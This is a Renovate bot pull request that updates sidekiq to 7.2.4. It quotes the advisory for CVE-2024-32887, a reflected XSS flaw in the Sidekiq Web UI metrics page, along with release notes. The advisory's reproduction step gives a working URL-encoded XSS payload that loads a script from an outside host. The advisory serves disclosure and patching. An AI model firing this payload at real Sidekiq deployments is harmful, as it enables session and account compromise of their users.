Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency sidekiq to v7.2.4 [SECURITY] #561

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Oct 14, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
sidekiq (source, changelog) 7.2.0 -> 7.2.4 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-32887

Description:

During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.

This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.

Impact:

The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.

Mitigation:

Encode all output data before rendering it in the response to prevent XSS attacks.

Steps to Reproduce:

  1. Go to the following URL of the sidekiq Web UI:
    https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
  2. XSS payload will be executed, causing a popup.

Evidence:

image
Figure 1: Source Code Vulnerable to XSS

image
Figure 2: XSS payload triggered


Release Notes

sidekiq/sidekiq (sidekiq)

v7.2.4

Compare Source

v7.2.3

Compare Source

  • Support Dragonfly.io as an alternative Redis implementation
  • Fix error unpacking some compressed error backtraces [#​6241]
  • Fix potential heartbeat data leak [#​6227]
  • Add ability to find a currently running work by jid [#​6212, fatkodima]

v7.2.2

Compare Source

  • Add Process.warmup call in Ruby 3.3+
  • Batch jobs now skip transactional push [#​6160]

v7.2.1

Compare Source

  • Add Sidekiq::Work type which replaces the raw Hash as the third parameter in
    Sidekiq::WorkSet#each { |pid, tid, hash| ... } [#​6145]
  • DEPRECATED: direct access to the attributes within the hash block parameter above.
    The Sidekiq::Work instance contains accessor methods to get at the same data, e.g.
work["queue"] # Old
work.queue # New
  • Fix Ruby 3.3 warnings around base64 gem [#​6151, earlopain]

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Tokyo, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled because a matching PR was automerged previously.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Oct 14, 2024
@renovate renovate bot force-pushed the renovate/rubygems-sidekiq-vulnerability branch from 1816448 to d104daa Compare January 23, 2025 17:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants